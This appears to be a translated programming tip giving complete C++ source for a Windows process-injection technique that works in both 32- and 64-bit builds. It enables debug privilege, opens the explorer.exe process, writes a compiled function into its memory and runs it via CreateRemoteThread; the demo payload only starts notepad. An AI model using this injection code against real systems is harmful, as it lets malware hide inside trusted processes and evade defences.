代码注入 - 适用于 32 位和 64 位版本的通用方法

引言

在我之前的文章中，我发布了将代码注入到32位平台上运行的explorer.exe中的代码，该代码使用32位指令作为注入到进程中的shell代码。

在这里，我们将看到一个通用的代码，它不涉及任何硬编码在注入器中的shell代码或汇编指令，而是将此责任转移给编译器，以准备32位和64位版本的适当汇编代码。

请参考我的上一篇提示 代码注入。

代码

/*
    Application:    Code injection into a running process.
    Author:            _RT
    Dated:            07-March-2014
*/

#include <windows.h>
#include <fstream>
#include <stdlib.h>

#pragma comment(lib,"advapi32.lib")
#pragma comment(lib,"user32.lib")

typedef BOOL (WINAPI* CreatePrcssParam)(LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, 
    LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPVOID, LPVOID);

struct PARAMETERS{
    LPVOID CreateProcessInj;
    char lpApplicationName[50];
    char lpCommandLine[10];
    LPSECURITY_ATTRIBUTES lpProcessAttributes;
    LPSECURITY_ATTRIBUTES lpThreadAttributes;
    BOOL bInheritHandles;
    DWORD dwCreationFlags;
    LPVOID lpEnvironment;
    LPCTSTR lpCurrentDirectory;
    LPVOID lpStartupInfo;
    LPVOID lpProcessInformation;
};

int privileges();
DWORD myFunc(PARAMETERS * myparam);
DWORD Useless();    //used to calculate size of myFunc()

int main()
{
    privileges();

    _STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    DWORD pid;
    GetWindowThreadProcessId(FindWindow(NULL, L"Start Menu"), &pid);

    HANDLE p;
    p = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if (p == NULL)
    {
        printf("ERROR");
        return 1; //error
    }

    char * AppName = "C:\\Windows\\notepad.exe";
    char * CmdLine = "";

  //Writing the structure vital for CreateProcess function
    LPVOID StrtUpInfo = VirtualAllocEx(p, NULL, sizeof(si), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, StrtUpInfo, &si, sizeof(si), NULL);

    LPVOID PrcssInfo = VirtualAllocEx(p, NULL, sizeof(si), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, PrcssInfo, &pi, sizeof(pi), NULL);
  //=========================================================

    PARAMETERS data = {0};
    HMODULE Kernel32 = LoadLibrary(L"Kernel32.dll");
    data.CreateProcessInj = GetProcAddress(Kernel32, "CreateProcessA");
    strcpy_s(data.lpApplicationName,AppName);
    strcpy_s(data.lpCommandLine, CmdLine);
    data.lpProcessAttributes = NULL;
    data.lpThreadAttributes = NULL;
    data.bInheritHandles = FALSE;
    data.dwCreationFlags = NULL;
    data.lpEnvironment = NULL;
    data.lpCurrentDirectory = NULL;
    data.lpStartupInfo = StrtUpInfo;
    data.lpProcessInformation = PrcssInfo;

    DWORD size_myFunc = (PBYTE)Useless - (PBYTE)myFunc;  //this gets myFunc's size

    //Writing the code part of myFunc -- Instructions to be executed
    LPVOID MyFuncAddress = VirtualAllocEx(p, NULL, size_myFunc, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(p, MyFuncAddress, (void*)myFunc, size_myFunc, NULL);

    //Writing the data part of myFunc -- Parameters of the functios
    LPVOID DataAddress = VirtualAllocEx(p, NULL, sizeof(PARAMETERS), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(p, DataAddress, &data, sizeof(PARAMETERS), NULL);

    HANDLE thread = CreateRemoteThread(p, NULL, 0, (LPTHREAD_START_ROUTINE)MyFuncAddress, DataAddress, 0, NULL);
    if (thread != 0){
        //injection completed, not we can wait for it to end and free the memory
        WaitForSingleObject(thread, INFINITE);   //this waits until thread thread has finished
        VirtualFree(MyFuncAddress, 0, MEM_RELEASE); //free myFunc memory
        VirtualFree(DataAddress, 0, MEM_RELEASE); //free data memory
        CloseHandle(thread);
        CloseHandle(p);  //don't wait for the thread to finish, just close the handle to the process
    }
    else{
        printf("Error!");
    }
    return EXIT_SUCCESS;
}

static DWORD myFunc(PARAMETERS * myparam){
    
    CreatePrcssParam CreatePrcss = (CreatePrcssParam)myparam->CreateProcessInj;
    BOOL result = CreatePrcss((LPCTSTR)myparam->lpApplicationName, NULL, 
    myparam->lpProcessAttributes, myparam->lpThreadAttributes, 
    myparam->bInheritHandles, myparam->dwCreationFlags, myparam->lpEnvironment, 
    myparam->lpCurrentDirectory, myparam->lpStartupInfo, myparam->lpProcessInformation);
    return 0;
}

static DWORD Useless(){
    return 0;
}

//this function is needed to get some extra privileges so your code will be able to work without conflicts with the system
int privileges(){
    HANDLE Token;
    TOKEN_PRIVILEGES tp;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &Token))
    {
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL) == 0){
            return 1; //FAIL
        }
        else{
            return 0; //SUCCESS
        }
    }
    return 1;
}

您只需在32位模式下编译此代码即可获得32位注入器，或在64位模式下编译以获得64位注入器。

此代码强制`CreateProcess`函数的参数基于堆栈，这些参数使用`CreateRemoteThread`函数的`lpParameter`字段传递，因此当注入部分移植到外部进程时，不会出现参数的未解析地址。

有关如何防止代码注入的其他信息，请在我的上一篇提示中查看。